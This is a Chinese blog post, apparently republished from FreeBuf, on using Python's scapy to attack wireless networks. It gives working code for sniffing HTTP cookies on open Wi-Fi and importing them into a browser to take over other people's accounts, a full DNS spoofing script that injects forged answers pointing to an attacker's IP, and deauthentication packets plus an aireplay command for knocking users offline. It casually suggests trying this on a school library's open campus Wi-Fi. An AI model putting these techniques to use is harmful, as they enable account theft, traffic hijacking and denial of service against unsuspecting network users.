scapy在wlan中的应用

Scapy

又是scapy,这是python的一个网络编程方面的库,它在wlan中也有很强大的应用。一般我们买块网卡,然后aircrack-ng套件爆破一下邻居的密码,其实我们可以用scapy写一些有意思的东西。

IEEE802.11

简述

这是WLAN的协议族,有80211b/g/n等等,协议中规定了不同类型的帧(也就是包的类型),分为数据帧、控制帧、管理帧。

控制帧是用来协调信道等提升数据通信可靠性的。

管理帧用来监督、管理加入和退出无线网络的包。

数据帧就是承载上层数据的包。

关系

这些帧和scapy中的数据包类的对应关系为:

Dot11 三种帧通用的部分

Dot11Beacon Beacon帧,ap用它来宣誓自己的存在

Dot11Elt 与Dot11Beacon一起出现,承载beacon帧中的数据

Dot11AssoReq Association Request

Dot11AssoResp Association Response

Dot11ProbeReq Probe request

Dot11ProbeResp Probe response

Dot11ReassoReq ReassociationRequest

Dot11ReassoResp ReassociationResponse 以上六个都是用来管理station和ap之间关系的管理帧

Dot11Auth Authentication 申请认证身份

Dot11Deauth Deauthentication 解除认证,可以用来dos攻击

Dot11WEP 无线链路承载的上层数据被加密后,放在这里

常见的样子(summary)

Beacon帧:

RadioTap / 802.11 Management 8L 11:11:11:11:11:11 > ff:ff:ff:ff:ff:ff / Dot11Beacon / SSID=’CMCC-EDU’ / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt

加密后的上层数据:

RadioTap / 802.11 Data 0L 11:11:11:11:11:11 > 22:22:22:22:22:22 / Dot11WEP

Deauth帧,用来把别人打掉线,很好用:

RadioTap / 802.11 Management 12L 11:11:11:11:11:11 > 22:22:22:22:22:22 / Dot11Deauth

未加密的数据帧,开放的wifi里的明文密码就在你的身边划过:

RadioTap / Dot11 / Dot11QoS / LLC / SNAP / IP / TCP 10.181.5.237:57556 > 124.116.181.82:http A / Padding

握手包,使用EAPOL协议:

RadioTap / Dot11 / Dot11QoS / LLC / SNAP / EAPOL EAPOL-Key / Raw / Padding

踩过的坑

系统环境

之前一直喜欢用kali,在优化代码的过程中发现嗅探无线数据包的时候,使用filter参数不能成功过滤到未加密的IP数据包(filter=’ip’)。

各种排查最后发现是操作系统的问题,在新装好的kali里也会出问题,但在ubuntu里是没有问题的。

无线环境

平时玩无线的时候当然想一上来看看赤裸的明文数据包,但有时候明明有开放的wifi,却一点明文数据包都抓不到。

受限于硬件,能处理数据包的速率是有限的,如果你周围非常多加密的wifi,很可能网卡就被Beacon帧和各种控制帧淹没了。

所以可以找一个开放wifi多的地方玩,学校图书馆就不错,我们无线校园网都是不加密的嘿嘿。

usb无线网卡

我买的网卡基本都是8187芯片的,淘宝京东都有,想挑一挑可以看看aircrack-ng的官网里的推荐。

天线的水很深啊,最好先买块便宜的玩玩再说。

先看看别人的cookie

scapy_http

这里又要介绍一个包啦,scapy_http是scapy的一个扩展。

平时我们抓到的包都是IP / TCP / Raw 这样的层次,对http协议的处理很不方便。

scapy_http增加了HTTP、HTTPRequest、HTTPResponse层。

pip安装就可以,import scapy_http.http as HTTP 在scapy之后导入就好。

嗅探

sniff(iface='mon0', prn=lambda x:x.summary(), filter='tcp[13:1]==24')

过滤得到tcp flags为 PA的数据包,可以得到类似这样的结果

里面满满的都是信息

for i in b: print i.Host + i.Path print i.Cookie print '======================================='

先直观的看一眼

有很多app后台的请求,可以收集大量的数据包,然后过滤自己喜欢的host

然后把cookie转换成chrome接收的json形式,直接导入就可以登录别人的账号啦。

DNS MOST攻击

MOST

MITM(man-in-the-middle)我们经常听到,还有另一种man-on-the-side攻击方法,攻击者通过监听信道,通过时间差注入数据。

还可以用来DDOS,嘿嘿

开放wlan中的DNS MOST

想要进行这种攻击,首先要监听信道,上面嗅探cookie已经说明这可以很容易做到。

然后是通过时间差注入,也就是我们要构造恶意的DNS响应包,并在服务器响应前将其返回给客户端

最后可以做到dns劫持一样的效果。

如何构造恶意dns响应

首先要想的是如何让客户端(在没有IDS的情况下)认为我构造的数据包就是服务器返回给他的。

也就是最基本的:

1. dns协议中的id段要从嗅探道的dns请求中取出来,并放到dns响应中去。

2. 其次是scapy中dns响应包的构造,返回自己服务器的ip。

3. dns请求的IP层的源端口目的端口、源ip目的ip都要交换

4. 80211协议层中的FCfield改为2,意为from-DS,也就是ap发送给station的数据包。

代码

from scapy.all import * snif_iface = 'mon0'recv_iface = 'mon0'cheat_ip = '1.1.1.1'def prn(pkt): resp = RadioTap()/Dot11()/LLC()/SNAP()/IP()/UDP(sport=53)/DNS(qr=1,ra=1,ancount=1) #取出DNS协议层的id resp[DNS].id = pkt[DNS].id #构造DNS数据层 resp.qd = pkt.qd resp[DNS].an = DNSRR(rrname=pkt.qd.name, type='A', rclass='IN', rdata=cheat_ip) #交换各地址及端口 resp.FCfield = 2L resp.addr1, resp.addr2, resp.addr3 = pkt.addr2, pkt.addr1, pkt.addr3 resp.src, resp.dst = pkt.dst, pkt.src resp.dport = pkt.sport sendp(resp, iface=send_iface, verbose=False, count=10) print 'send response to %s for %s'%(resp.dst, resp.qd.qname)if __name__ == '__main__': sniff(prn=prn, filter='udp dst port 53', iface=snif_iface)

需要注意

1. 监听的网卡和注入数据包的网卡可以不是同一张,效率会更高

2. 过滤时使用filter参数效率会高很多很多,因为是在内核层面的过滤,使用BPF语法。

3. sendp发包函数在链路层上发送数据,所以我们可以自定义80211的数据包。

4. sendp在发送的时候会自动计算好各协议层的校验和,如果你想resp = req.copy()这样构造响应包,一定要注意把各层的长度和校验和设置为None,让它在发送的时候重新计算,不然这个数据包是畸形的。我也写了用copy构造的脚本,但应该贴出的代码的行数更少一些。

5. 两块网卡都要设置在monitor监听模式,具体用airmon-ng等开启监听模式就不赘述了,但一定要注意network-manager、networking等服务对网卡的影响,必要时一定要stop。

最后如何把别人打掉线

Deauthentication帧

这是ap和station中用于中断连接用的帧,而且没有对数据包的来源进行验证。

所以我们可以用它来强制别人掉线,而且还挺不好防的嘿嘿(或者把我笔记本摔掉

代码

pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth() pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth() sendp(pkt1) sendp(pkt2)

可以先拿自己的手机试一下

其实aireplay -0 1 -a ap_mac -c client_mac iface 也是使用的deauth dos攻击迫使client重连获取握手包

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-03-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏跟着阿笨一起玩NET

C# 地磅串口编程

然后最近有一个项目用到了地磅,这里也是通过串口通讯方式进行数据交互,说实话,地磅这东西,实在有点不方便。

1472
来自专栏祝威廉

Effective PySpark(PySpark 常见问题)

首先确保安装了python 2.7 ,强烈建议你使用Virtualenv方便python环境的管理。之后通过pip 安装pyspark

1283
来自专栏逢魔安全实验室

ISCC 2018 Writeup

ISCC 2018 CTF中,一些题目还是很不错的。但是需要吐槽的就是这个积分机制,私以为一次性放出所有题目而且反作弊机制完善的情况下动态积分这个方法很好。但是...

4504
来自专栏calvin

【nodejs】让nodejs像后端mvc框架(asp.net mvc)一orm篇【如EF般丝滑】typeorm介绍(8/8)

在使用nodejs开发过程中,刚好碰到需要做一个小工具,需要用到数据库存储功能。而我又比较懒,一个小功能不想搞一个nodejs项目,又搞一个后端项目。不如直接在...

3202
来自专栏博客园

讲一下Asp.net core MVC2.1 里面的 ApiControllerAttribute

转自:https://www.cnblogs.com/sheldon-lou/p/9495377.html

1102
来自专栏DOTNET

ASP.NET MVC编程——单元测试

1自动化测试基本概念 自动化测试分为:单元测试,集成测试,验收测试。 单元测试 检验被测单元的功能,被测单元一般为低级别的组件,如一个类或类方法。 单元测试要满...

5045
来自专栏dotnet & java

讲一下Asp.net core MVC2.1 里面的 ApiControllerAttribute

ASP.NET Core MVC 2.1 特意为构建 HTTP API 提供了一些小特性,今天主角就是 ApiControllerAttribute. (注:文...

1242
来自专栏Java学习之路

JavaTCP和UDP套接字编程

原文地址:http://www.cnblogs.com/MindMrWang/p/8919890.html 在我们刚开始入门Java后端的时候可能你会觉得有点...

3325
来自专栏Flutter知识集

Flutter 实践 MVVM

在做Android或iOS开发时,经常会了解到MVC,MVP和MVVM。MVVM在移动端一度被非常推崇,虽然也有不少反对的声音,不过MVVM确实是不错的设计架构...

2.1K3
来自专栏Scott_Mr 个人专栏

RxSwift 实战操作【注册登录】

3676

扫码关注云+社区